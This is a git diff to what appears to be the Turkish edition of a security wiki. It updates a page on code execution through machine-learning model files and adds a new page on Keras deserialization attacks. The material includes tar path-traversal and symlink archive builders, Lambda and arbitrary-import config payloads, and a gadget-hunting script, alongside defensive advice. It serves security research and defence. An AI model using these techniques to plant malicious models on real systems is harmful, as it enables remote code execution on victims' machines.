diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md
index 30b32ed03..d8170ac86 100644
--- a/src/AI/AI-Models-RCE.md
+++ b/src/AI/AI-Models-RCE.md
@@ -8,24 +8,24 @@ Makine Öğrenimi modelleri genellikle ONNX, TensorFlow, PyTorch gibi farklı fo
Yazım anında bu tür güvenlik açıklarına bazı örnekler şunlardır:
-| **Framework / Araç** | **Güvenlik Açığı (varsa CVE)** | **RCE Vektörü** | **Referanslar** |
-|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------|
-| **PyTorch** (Python) | *Güvensiz serileştirme* `torch.load` **(CVE-2025-32434)** | Model kontrol noktasındaki kötü niyetli pickle, kod çalıştırmaya yol açar ( `weights_only` korumasını atlayarak) | |
-| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kötü niyetli model indirme, kod çalıştırmaya neden olur; yönetim API'sinde Java serileştirme RCE | |
-| **TensorFlow/Keras** | **CVE-2021-37678** (güvensiz YAML)
**CVE-2024-3660** (Keras Lambda) | YAML'den model yüklemek `yaml.unsafe_load` kullanır (kod çalıştırma)
**Lambda** katmanı ile model yüklemek rastgele Python kodu çalıştırır | |
-| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite ayrıştırma) | Özel `.tflite` modeli, tam sayı taşması tetikler → bellek bozulması (potansiyel RCE) | |
-| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load` ile bir model yüklemek, saldırganın `__reduce__` yükünü çalıştırır | |
-| **NumPy** (Python) | **CVE-2019-6446** (güvensiz `np.load`) *tartışmalı* | `numpy.load` varsayılan olarak pickle nesne dizilerine izin veriyordu – kötü niyetli `.npy/.npz` kod çalıştırmayı tetikler | |
+| **Framework / Araç** | **Güvenlik Açığı (CVE mevcutsa)** | **RCE Vektörü** | **Referanslar** |
+|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
+| **PyTorch** (Python) | *Güvensiz serileştirme* `torch.load` **(CVE-2025-32434)** | Kötü niyetli pickle, model kontrol noktasında kod çalıştırmaya yol açar ( `weights_only` korumasını aşar) | |
+| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kötü niyetli model indirme kod çalıştırmaya neden olur; yönetim API'sinde Java serileştirme RCE | |
+| **TensorFlow/Keras** | **CVE-2021-37678** (güvensiz YAML)
**CVE-2024-3660** (Keras Lambda) | YAML'den model yüklemek `yaml.unsafe_load` kullanır (kod çalıştırma)
**Lambda** katmanı ile model yüklemek rastgele Python kodu çalıştırır | |
+| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite ayrıştırma) | Özel `.tflite` modeli, tam sayı taşması → yığın bozulması (potansiyel RCE) | |
+| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load` ile bir model yüklemek, saldırganın `__reduce__` yükünü çalıştırır | |
+| **NumPy** (Python) | **CVE-2019-6446** (güvensiz `np.load`) *tartışmalı* | `numpy.load` varsayılan olarak pickle nesne dizilerine izin verir – kötü niyetli `.npy/.npz` kod çalıştırmayı tetikler | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dizin geçişi)
**CVE-2024-5187** (tar geçişi) | ONNX modelinin dış-ağırlık yolu dizinden çıkabilir (rastgele dosyaları okuyabilir)
Kötü niyetli ONNX model tar, rastgele dosyaları yazabilir (RCE'ye yol açar) | |
-| ONNX Runtime (tasarım riski) | *(CVE yok)* ONNX özel ops / kontrol akışı | Özel operatör içeren model, saldırganın yerel kodunu yüklemeyi gerektirir; karmaşık model grafikleri, istenmeyen hesaplamaları çalıştırmak için mantığı kötüye kullanır | |
-| **NVIDIA Triton Server** | **CVE-2023-31036** (yol geçişi) | Model yükleme API'sini `--model-control` etkinleştirildiğinde kullanmak, dosyaları yazmak için göreli yol geçişine izin verir (örneğin, RCE için `.bashrc`'yi geçersiz kılmak) | |
-| **GGML (GGUF formatı)** | **CVE-2024-25664 … 25668** (birden fazla bellek taşması) | Bozuk GGUF model dosyası, ayrıştırıcıda bellek tamponu taşmalarına neden olur, kurban sistemde rastgele kod çalıştırmayı sağlar | |
+| ONNX Runtime (tasarım riski) | *(CVE yok)* ONNX özel ops / kontrol akışı | Özel operatör içeren model, saldırganın yerel kodunu yüklemeyi gerektirir; karmaşık model grafikleri, istenmeyen hesaplamaları çalıştırmak için mantığı kötüye kullanır | |
+| **NVIDIA Triton Server** | **CVE-2023-31036** (yol geçişi) | Model yükleme API'sini `--model-control` etkinleştirildiğinde kullanmak, dosyaları yazmak için göreli yol geçişine izin verir (örneğin, RCE için `.bashrc`'yi geçersiz kılmak) | |
+| **GGML (GGUF formatı)** | **CVE-2024-25664 … 25668** (birden fazla yığın taşması) | Bozuk GGUF model dosyası, ayrıştırıcıda yığın tampon taşmalarına neden olur, kurban sisteminde rastgele kod çalıştırmayı sağlar | |
| **Keras (eski formatlar)** | *(Yeni CVE yok)* Eski Keras H5 modeli | Kötü niyetli HDF5 (`.h5`) modeli, Lambda katmanı kodu yüklenirken hala çalışır (Keras güvenli_modu eski formatı kapsamaz – “gerileme saldırısı”) | |
-| **Diğerleri** (genel) | *Tasarım hatası* – Pickle serileştirmesi | Birçok ML aracı (örneğin, pickle tabanlı model formatları, Python `pickle.load`) model dosyalarına gömülü rastgele kodu çalıştıracaktır, önlem alınmadıkça | |
+| **Diğerleri** (genel) | *Tasarım hatası* – Pickle serileştirme | Birçok ML aracı (örneğin, pickle tabanlı model formatları, Python `pickle.load`) model dosyalarına gömülü rastgele kodu çalıştırır, önlem alınmadıkça | |
Ayrıca, [PyTorch](https://github.com/pytorch/pytorch/security) tarafından kullanılan gibi bazı python pickle tabanlı modeller, `weights_only=True` ile yüklenmediklerinde sistemde rastgele kod çalıştırmak için kullanılabilir. Bu nedenle, tabloda listelenmemiş olsalar bile, herhangi bir pickle tabanlı model bu tür saldırılara özellikle duyarlı olabilir.
-### 🆕 `torch.load` ile InvokeAI RCE (CVE-2024-12029)
+### 🆕 InvokeAI RCE `torch.load` ile (CVE-2024-12029)
`InvokeAI`, Stable-Diffusion için popüler bir açık kaynak web arayüzüdür. **5.3.1 – 5.4.2** sürümleri, kullanıcıların rastgele URL'lerden modeller indirmesine ve yüklemesine olanak tanıyan `/api/v2/models/install` REST uç noktasını açığa çıkarır.
@@ -33,7 +33,7 @@ Uç nokta, nihayetinde şunu çağırır:
```python
checkpoint = torch.load(path, map_location=torch.device("meta"))
```
-Verilen dosya bir **PyTorch checkpoint (`*.ckpt`)** olduğunda, `torch.load` **pickle deserialization** işlemi gerçekleştirir. İçerik doğrudan kullanıcı kontrolündeki URL'den geldiği için, bir saldırgan checkpoint içine özel bir `__reduce__` yöntemi ile kötü niyetli bir nesne yerleştirebilir; bu yöntem **deserialization** sırasında çalıştırılır ve **uzaktan kod yürütme (RCE)** ile sonuçlanır.
+Verilen dosya bir **PyTorch checkpoint (`*.ckpt`)** olduğunda, `torch.load` **pickle deserialization** işlemi gerçekleştirir. İçerik doğrudan kullanıcı kontrolündeki URL'den geldiği için, bir saldırgan checkpoint içine özel bir `__reduce__` yöntemi ile kötü niyetli bir nesne yerleştirebilir; bu yöntem **deserialization** sırasında çalıştırılır ve **remote code execution (RCE)**'ye yol açar.
Açık, **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) olarak atanmıştır.
@@ -87,7 +87,7 @@ Hazır exploit: **Metasploit** modülü `exploit/linux/http/invokeai_rce_cve_202
---
-Bir ters proxy arkasında eski InvokeAI sürümlerini çalıştırmak zorundaysanız, ad-hoc bir önlem örneği:
+Bir ters proxy arkasında eski InvokeAI sürümlerini çalıştırmanız gerekiyorsa, ad-hoc bir önlem örneği:
```nginx
location /api/v2/models/install {
deny all; # block direct Internet access
@@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
```
## Modeller ile Yol Traversali
-[**bu blog yazısında**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) belirtildiği gibi, farklı AI çerçeveleri tarafından kullanılan çoğu model formatı arşivlere dayanmaktadır, genellikle `.zip`. Bu nedenle, bu formatların kötüye kullanılması yoluyla yol traversali saldırıları gerçekleştirmek mümkün olabilir; bu, modelin yüklü olduğu sistemden rastgele dosyaların okunmasına olanak tanır.
+[**bu blog yazısında**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) belirtildiği gibi, farklı AI çerçeveleri tarafından kullanılan çoğu model formatı arşivlere dayanmaktadır, genellikle `.zip`. Bu nedenle, bu formatların kötüye kullanılarak yol traversali saldırıları gerçekleştirilmesi mümkün olabilir; bu da modelin yüklü olduğu sistemden rastgele dosyaların okunmasına olanak tanır.
Örneğin, aşağıdaki kod ile yüklendiğinde `/tmp` dizininde bir dosya oluşturacak bir model oluşturabilirsiniz:
```python
@@ -146,7 +146,7 @@ return member
with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)
```
-Ya da, aşağıdaki kod ile yüklendiğinde `/tmp` dizinine bir symlink oluşturacak bir model oluşturabilirsiniz:
+Aşağıdaki kod ile yüklendiğinde `/tmp` dizinine bir symlink oluşturacak bir model oluşturabilirsiniz:
```python
import tarfile, pathlib
@@ -161,11 +161,19 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
```
+### Derinlemesine: Keras .keras serileştirme ve gadget avı
+
+.keras iç yapıları, Lambda-layer RCE, ≤ 3.8'deki keyfi import sorunu ve allowlist içindeki post-fix gadget keşfi hakkında odaklanmış bir rehber için, bakınız:
+
+{{#ref}}
+../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
+{{#endref}}
+
## Referanslar
-- [OffSec blog – "CVE-2024-12029 – InvokeAI Güvensiz Verilerin Deserialization'ı"](https://www.offsec.com/blog/cve-2024-12029/)
-- [InvokeAI yamanın commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
+- [OffSec blog – "CVE-2024-12029 – InvokeAI Güvenilmeyen Verilerin Serileştirilmesi"](https://www.offsec.com/blog/cve-2024-12029/)
+- [InvokeAI yamanması 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
- [Rapid7 Metasploit modül belgeleri](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
-- [PyTorch – torch.load için güvenlik değerlendirmeleri](https://pytorch.org/docs/stable/notes/serialization.html#security)
+- [PyTorch – torch.load için güvenlik dikkate alımları](https://pytorch.org/docs/stable/notes/serialization.html#security)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index e7e49e187..781ca1ac5 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -69,6 +69,7 @@
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
+ - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
- [venv](generic-methodologies-and-resources/python/venv.md)
diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md
index 96ed434e3..be3aac679 100644
--- a/src/generic-methodologies-and-resources/python/README.md
+++ b/src/generic-methodologies-and-resources/python/README.md
@@ -6,8 +6,9 @@
- [**Pyscript hacking tricks**](pyscript.md)
- [**Python deserialization'ları**](../../pentesting-web/deserialization/README.md)
-- [**Python sandbox'larını atlatma hileleri**](bypass-python-sandboxes/README.md)
+- [**Keras model deserialization RCE ve gadget avı**](keras-model-deserialization-rce-and-gadget-hunting.md)
+- [**Python sandbox'larını atlatma yöntemleri**](bypass-python-sandboxes/README.md)
- [**Temel python web istekleri sözdizimi**](web-requests.md)
-- [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md)
+- [**Temel python sözdizimi ve kütüphaneler**](basic-python.md)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
new file mode 100644
index 000000000..901bd0bbc
--- /dev/null
+++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
@@ -0,0 +1,207 @@
+# Keras Model Deserialization RCE ve Gadget Avcılığı
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Bu sayfa, Keras model deserialization pipeline'ına karşı pratik istismar tekniklerini özetler, yerel .keras formatının iç yapısını ve saldırı yüzeyini açıklar ve Model Dosyası Zafiyetleri (MFV'ler) ve düzeltme sonrası gadget'lar bulmak için bir araştırmacı araç seti sağlar.
+
+## .keras model formatı iç yapısı
+
+Bir .keras dosyası, en azından şunları içeren bir ZIP arşividir:
+- metadata.json – genel bilgi (örn., Keras versiyonu)
+- config.json – model mimarisi (birincil saldırı yüzeyi)
+- model.weights.h5 – HDF5 formatında ağırlıklar
+
+config.json, özyinelemeli deserialization'ı yönlendirir: Keras modülleri içe aktarır, sınıfları/fonksiyonları çözer ve katmanları/nesneleri saldırgan kontrolündeki sözlüklerden yeniden oluşturur.
+
+Dense katman nesnesi için örnek kod parçası:
+```json
+{
+"module": "keras.layers",
+"class_name": "Dense",
+"config": {
+"units": 64,
+"activation": {
+"module": "keras.activations",
+"class_name": "relu"
+},
+"kernel_initializer": {
+"module": "keras.initializers",
+"class_name": "GlorotUniform"
+}
+}
+}
+```
+Deserialization şunları gerçekleştirir:
+- Modül içe aktarma ve modül/sınıf_adı anahtarlarından sembol çözümü
+- saldırgan kontrolündeki kwargs ile from_config(...) veya yapıcı çağrısı
+- İç içe nesnelere (aktivasyonlar, başlatıcılar, kısıtlamalar vb.) geri dönüş
+
+Tarihsel olarak, bu, config.json'u oluşturan bir saldırgana üç ilke sunmuştur:
+- Hangi modüllerin içe aktarılacağını kontrol etme
+- Hangi sınıf/fonksiyonların çözüleceğini kontrol etme
+- Yapıcılara/from_config'e geçirilen kwargs'ı kontrol etme
+
+## CVE-2024-3660 – Lambda-layer bytecode RCE
+
+Kök neden:
+- Lambda.from_config() python_utils.func_load(...) kullanıyordu, bu da saldırgan baytları üzerinde base64 çözümleme yapar ve marshal.loads() çağırır; Python unmarshalling kodu çalıştırabilir.
+
+Sömürü fikri (config.json'da basitleştirilmiş yük):
+```json
+{
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "exploit_lambda",
+"function": {
+"function_type": "lambda",
+"bytecode_b64": ""
+}
+}
+}
+```
+Mitigation:
+- Keras varsayılan olarak safe_mode=True uygular. Lambda'daki serileştirilmiş Python fonksiyonları, kullanıcı açıkça safe_mode=False seçeneğini seçmedikçe engellenir.
+
+Notes:
+- Eski formatlar (daha eski HDF5 kayıtları) veya eski kod tabanları modern kontrolleri zorunlu kılmayabilir, bu nedenle "gerileme" tarzı saldırılar, kurbanlar eski yükleyiciler kullandığında hala geçerli olabilir.
+
+## CVE-2025-1550 – Keras ≤ 3.8'de Rastgele modül içe aktarma
+
+Root cause:
+- _retrieve_class_or_fn, config.json'dan saldırgan kontrolündeki modül dizeleri ile kısıtlanmamış importlib.import_module() kullandı.
+- Etki: Herhangi bir yüklü modülün (veya saldırgan tarafından sys.path'e yerleştirilen modülün) rastgele içe aktarımı. İçe aktarma zamanı kodu çalışır, ardından saldırgan kwargs ile nesne oluşturma gerçekleşir.
+
+Exploit idea:
+```json
+{
+"module": "maliciouspkg",
+"class_name": "Danger",
+"config": {"arg": "val"}
+}
+```
+Güvenlik iyileştirmeleri (Keras ≥ 3.9):
+- Modül izin listesi: ithalatlar resmi ekosistem modülleriyle sınırlıdır: keras, keras_hub, keras_cv, keras_nlp
+- Güvenli mod varsayılan: safe_mode=True, güvensiz Lambda serileştirilmiş işlev yüklemelerini engeller
+- Temel tür kontrolü: serileştirilmiş nesneler beklenen türlerle eşleşmelidir
+
+## İzin listesi içindeki post-fix gadget yüzeyi
+
+İzin listesi ve güvenli mod ile bile, izin verilen Keras çağrılarda geniş bir yüzey kalmaktadır. Örneğin, keras.utils.get_file, kullanıcı tarafından seçilebilen konumlara rastgele URL'ler indirebilir.
+
+İzin verilen bir işlevi referans alan Lambda aracılığıyla gadget (serileştirilmiş Python bytecode değil):
+```json
+{
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "dl",
+"function": {"module": "keras.utils", "class_name": "get_file"},
+"arguments": {
+"fname": "artifact.bin",
+"origin": "https://example.com/artifact.bin",
+"cache_dir": "/tmp/keras-cache"
+}
+}
+}
+```
+Önemli sınırlama:
+- Lambda.call(), hedef çağrılabilir nesneyi çağırırken giriş tensörünü ilk konumsal argüman olarak ekler. Seçilen gadget'lar, ek bir konumsal argümanı tolere etmelidir (veya *args/**kwargs kabul etmelidir). Bu, hangi fonksiyonların geçerli olduğunu kısıtlar.
+
+Beyaz listeye alınmış gadget'ların potansiyel etkileri:
+- Keyfi indirme/yazma (yol yerleştirme, yapılandırma zehirleme)
+- Ortama bağlı olarak ağ geri çağırmaları/SSRF benzeri etkiler
+- Yazılan yollar daha sonra içe aktarılırsa/çalıştırılırsa veya PYTHONPATH'e eklenirse veya yazılabilir bir yazma üzerinde yürütme yeri varsa kod yürütmeye zincirleme
+
+## Araştırmacı araç seti
+
+1) İzin verilen modüllerde sistematik gadget keşfi
+
+Keras, keras_nlp, keras_cv, keras_hub üzerindeki aday çağrılabilirleri sıralayın ve dosya/ağ/proses/çevre yan etkileri olanları önceliklendirin.
+```python
+import importlib, inspect, pkgutil
+
+ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
+
+seen = set()
+
+def iter_modules(mod):
+if not hasattr(mod, "__path__"):
+return
+for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
+yield m.name
+
+candidates = []
+for root in ALLOWLIST:
+try:
+r = importlib.import_module(root)
+except Exception:
+continue
+for name in iter_modules(r):
+if name in seen:
+continue
+seen.add(name)
+try:
+m = importlib.import_module(name)
+except Exception:
+continue
+for n, obj in inspect.getmembers(m):
+if inspect.isfunction(obj) or inspect.isclass(obj):
+sig = None
+try:
+sig = str(inspect.signature(obj))
+except Exception:
+pass
+doc = (inspect.getdoc(obj) or "").lower()
+text = f"{name}.{n} {sig} :: {doc}"
+# Heuristics: look for I/O or network-ish hints
+if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
+candidates.append(text)
+
+print("\n".join(sorted(candidates)[:200]))
+```
+2) Doğrudan deserialization testi (no .keras archive needed)
+
+Keras deserializer'larına hazırlanmış dict'leri doğrudan besleyerek kabul edilen parametreleri öğrenin ve yan etkileri gözlemleyin.
+```python
+from keras import layers
+
+cfg = {
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "probe",
+"function": {"module": "keras.utils", "class_name": "get_file"},
+"arguments": {"fname": "x", "origin": "https://example.com/x"}
+}
+}
+
+layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
+```
+3) Sürüm arası sorgulama ve formatlar
+
+Keras, farklı koruma önlemleri ve formatlarla birden fazla kod tabanında/çağda mevcuttur:
+- TensorFlow yerleşik Keras: tensorflow/python/keras (eski, silinmesi planlanıyor)
+- tf-keras: ayrı olarak sürdürülüyor
+- Çoklu arka uç Keras 3 (resmi): yerel .keras tanıtıldı
+
+Kod tabanları ve formatlar (.keras vs eski HDF5) arasında testleri tekrarlayarak gerilemeleri veya eksik korumaları ortaya çıkarın.
+
+## Savunma önerileri
+
+- Model dosyalarını güvenilmeyen girdi olarak değerlendirin. Sadece güvenilir kaynaklardan modeller yükleyin.
+- Keras'ı güncel tutun; allowlisting ve tür kontrollerinden yararlanmak için Keras ≥ 3.9 kullanın.
+- Modelleri yüklerken safe_mode=False ayarlamayın, dosyaya tamamen güvenmiyorsanız.
+- Ağa çıkışı olmayan ve sınırlı dosya sistemi erişimi olan bir sandbox ortamında serileştirmeyi çalıştırmayı düşünün.
+- Model kaynakları için allowlistler/imzalar ve mümkünse bütünlük kontrolü uygulayın.
+
+## Referanslar
+
+- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
+- [Keras PR #20751 – Serialization için kontroller eklendi](https://github.com/keras-team/keras/pull/20751)
+- [CVE-2024-3660 – Keras Lambda serileştirme RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
+- [CVE-2025-1550 – Keras rastgele modül içe aktarma (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
+- [huntr raporu – rastgele içe aktarma #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
+- [huntr raporu – rastgele içe aktarma #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
+
+{{#include ../../banners/hacktricks-training.md}}